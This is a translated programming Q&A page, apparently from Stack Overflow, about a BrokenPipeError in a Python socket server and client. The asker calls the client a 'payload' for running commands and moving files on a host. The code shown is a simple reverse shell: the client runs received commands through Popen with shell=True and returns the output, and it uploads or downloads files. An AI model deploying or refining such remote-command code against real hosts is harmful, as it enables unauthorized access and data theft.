断开管道send()函数错误

时间:2017-02-09 09:03:59

标签: python sockets payload broken-pipe

我需要制作一个小的有效负载和服务器来下载/上传或执行主机上的命令。

错误:

Traceback (most recent call last):
  File "ServerCompletPAY.py", line 43, in <module>
    a.send(command)
BrokenPipeError: [Errno 32] Broken pipe

当我第一次执行文件时它正常工作,但是当我输入另一个命令时,则会生成错误。

服务器代码:

import os
import socket

global opening_file
global name_file
global a
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",1111))
s.listen(5)
a,c = s.accept()
print ("[*] We Are Connected ")

def shell() :
    verbose = a.recv(102400)
    print (verbose.decode(),"\n","\n")

def download_from_client ():
    opening_file = open(name_file,"wb")
    opening_file.write(a.recv(102400))
    x.close()
    opening_file.close()    

def download_to_client ():
    opening_file = open(name_file,"rb")
    file_needed = opening_file.read()
    a.send(file_needed)
    a.close()
    opening_file.close()

def main():
    if first_word == "download":
        download_to_client ()
    elif first_word == "upload" :
        download_from_client()
    else :
        shell()

while True : 
    command = input("<Shell >")
    name_file = command.split("/")[-1]
    first_word = command.split(" ")[0]
    command = command.encode()
    a.send(command)
    main()

客户代码:

from subprocess import *
import os
import socket

def shell() :
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
    comment = commandexe.communicate()[0]
    s.send(comment)

def download() :    
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"rb")
    s.send(opening_file.read())
    opening_file.close()

def upload():
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"wb")
    file_name.write(s.recv(102400).decode())
    file_name.close()

while True :
    global s
    global commandrecv

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",1111))
    commandrecv_encoded = s.recv(1024)
    commandrecv = commandrecv_encoded.decode()
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download

    if not commandrecv :
        break;
    else:
        if first_word == "download":
            download ()
        elif first_word == "upload" :
            upload()
        else :
            shell()

提前谢谢你。

1 个答案:

答案 0 :(得分:0)

我正在引用此Answer,因为它看起来与您的问题相似,请尝试以下方法:

  

您的服务器进程已收到写入套接字的SIGPIPE。当您在另一个(客户端)端写入完全关闭的套接字时,通常会发生这种情况。当客户端程序没有等到收到服务器的所有数据并且只是关闭套接字(使用close函数)时,可能会发生这种情况。

     

在C程序中,您通常会尝试设置忽略SIGPIPE信号或为其设置虚拟信号处理程序。在这种情况下,写入已关闭的套接字时将返回一个简单的错误。在你的情况下,python似乎抛出一个异常,可以作为客户端的过早断开来处理。